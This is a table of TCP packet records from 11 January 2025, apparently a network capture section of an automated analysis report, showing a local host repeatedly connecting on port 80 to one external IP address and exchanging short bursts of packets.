Jan 11, 2025 06:44:27.292438030 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.292465925 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.581326008 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.629575014 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.714564085 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.754599094 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.826433897 CET	57120	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.832320929 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.833093882 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.837543964 CET	80	57121	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.837641001 CET	57121	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.837996006 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:27.838171959 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.838284016 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:27.843081951 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.192416906 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.197477102 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.197525024 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.197554111 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.467413902 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.520401955 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.633289099 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.676448107 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.751005888 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.751930952 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.756248951 CET	80	57122	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.756899118 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:28.757010937 CET	57122	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.757047892 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.757225037 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:28.762137890 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.114123106 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.119137049 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.119152069 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.119163036 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.390260935 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.442209005 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.526284933 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.582683086 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.703273058 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.704653978 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.708570004 CET	80	57123	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.708635092 CET	57123	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.709563017 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:29.709635973 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.712022066 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:29.716965914 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.067970991 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.072892904 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.072925091 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.072952986 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.347610950 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.395188093 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.476257086 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.520318031 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.598392963 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.599086046 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.603455067 CET	80	57124	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.603517056 CET	57124	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.603928089 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.604029894 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.604166031 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.608951092 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.630847931 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.635799885 CET	80	57127	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.635940075 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.636059999 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.640961885 CET	80	57127	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.957801104 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.962794065 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.962811947 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.962824106 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.989495039 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:30.994887114 CET	80	57127	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:30.994905949 CET	80	57127	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.243086100 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.284127951 CET	80	57127	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.285964012 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.332694054 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.406116962 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.406730890 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.411870956 CET	80	57127	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.411961079 CET	57127	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.457706928 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.532324076 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.533008099 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.537724972 CET	80	57126	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.537847996 CET	57126	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.538006067 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.538091898 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.538243055 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.543171883 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.895436049 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:31.900479078 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.900501966 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:31.900515079 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.167202950 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.207715034 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:32.335767984 CET	80	57128	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.379600048 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:32.481312037 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:32.486219883 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.486295938 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:32.486602068 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:32.491436005 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.832834959 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:32.837816954 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.837831020 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:32.837841988 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.114964008 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.160861969 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.242477894 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.285820961 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.360517979 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.361255884 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.365566969 CET	80	57129	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.365627050 CET	57129	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.366112947 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.366550922 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.366661072 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.371413946 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.723489046 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:33.728581905 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.728605032 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.728615046 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:33.994847059 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.035801888 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.122253895 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.126054049 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.131139994 CET	80	57130	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.133681059 CET	57130	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.252372980 CET	57128	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.253381014 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.258280993 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.258358002 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.258488894 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.263334036 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.614161015 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:34.619179010 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.619194031 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.619204998 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.903548956 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:34.957778931 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.034363031 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.082719088 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.283667088 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.284827948 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.290781021 CET	80	57131	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.290846109 CET	57131	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.291327953 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.291400909 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.291584969 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.299005985 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.645365953 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:35.654726982 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.654747963 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.655002117 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.923372030 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:35.973336935 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.050525904 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.098372936 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.173871994 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.174737930 CET	57133	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.178977013 CET	80	57132	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.179038048 CET	57132	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.179573059 CET	80	57133	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.179675102 CET	57133	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.179792881 CET	57133	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.184556961 CET	80	57133	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.411576986 CET	57133	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.412504911 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.417375088 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.417452097 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.417581081 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.422436953 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.459671021 CET	80	57133	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.543061018 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.548046112 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.548129082 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.548322916 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.553087950 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.627398968 CET	80	57133	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.627496004 CET	57133	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.770828009 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.776068926 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.776084900 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.895361900 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:36.900449991 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.900465965 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:36.900475025 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.051211119 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.098330975 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.183163881 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.185903072 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.223344088 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.239008904 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.352355957 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.395207882 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.474241972 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.474313021 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.475253105 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.479623079 CET	80	57134	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.479641914 CET	80	57135	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.479715109 CET	57134	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.479805946 CET	57135	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.480036974 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.481647015 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.481817007 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.486671925 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.838988066 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:37.844095945 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.844110966 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:37.844121933 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.125365973 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.176434040 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.261291027 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.301450014 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.445091009 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.446849108 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.450196981 CET	80	57136	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.450248003 CET	57136	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.451711893 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.451781034 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.451941013 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.456718922 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.801670074 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:38.806658030 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.806678057 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:38.806688070 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.107403994 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.160832882 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.244941950 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.285857916 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.361435890 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.362402916 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.366472960 CET	80	57137	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.366591930 CET	57137	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.367225885 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.369647980 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.370022058 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.376144886 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.723591089 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:39.728697062 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.728710890 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:39.728720903 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.002381086 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.051455975 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.135035992 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.176469088 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.253062963 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.253870010 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.258253098 CET	80	57138	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.258651018 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.258719921 CET	57138	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.258796930 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.259021997 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.263804913 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.617530107 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:40.622468948 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.622483015 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.622493982 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.905994892 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:40.949666977 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.073771954 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.113970995 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.199347973 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.200442076 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.204468012 CET	80	57139	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.204566002 CET	57139	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.205311060 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.205384970 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.205629110 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.212480068 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.551637888 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.556658030 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.556677103 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.556685925 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.835292101 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:41.879580021 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:41.962363958 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.004623890 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.088009119 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.089044094 CET	57141	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.093123913 CET	80	57140	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.093235970 CET	57140	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.093835115 CET	80	57141	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.093902111 CET	57141	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.094012022 CET	57141	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.098803997 CET	80	57141	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.192743063 CET	57141	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.193660021 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.198610067 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.198683977 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.198781013 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.203581095 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.243573904 CET	80	57141	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.318023920 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.322922945 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.323010921 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.323111057 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.327900887 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.544502020 CET	80	57141	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.544578075 CET	57141	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.551554918 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.556708097 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.556719065 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.676636934 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.683561087 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.683577061 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.683587074 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.827688932 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.879610062 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:42.954541922 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:42.972130060 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.004584074 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.020206928 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.106369019 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.160839081 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.481333971 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.481704950 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.483239889 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.486443043 CET	80	57142	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.486504078 CET	57142	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.486665010 CET	80	57143	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.486828089 CET	57143	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.488104105 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.488389015 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.488631964 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.493369102 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.832822084 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:43.837816000 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.837833881 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:43.837842941 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.126199961 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.177110910 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.256167889 CET	80	57144	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.301467896 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.381552935 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.382392883 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.386584997 CET	80	57144	37.44.238.250	192.168.2.6
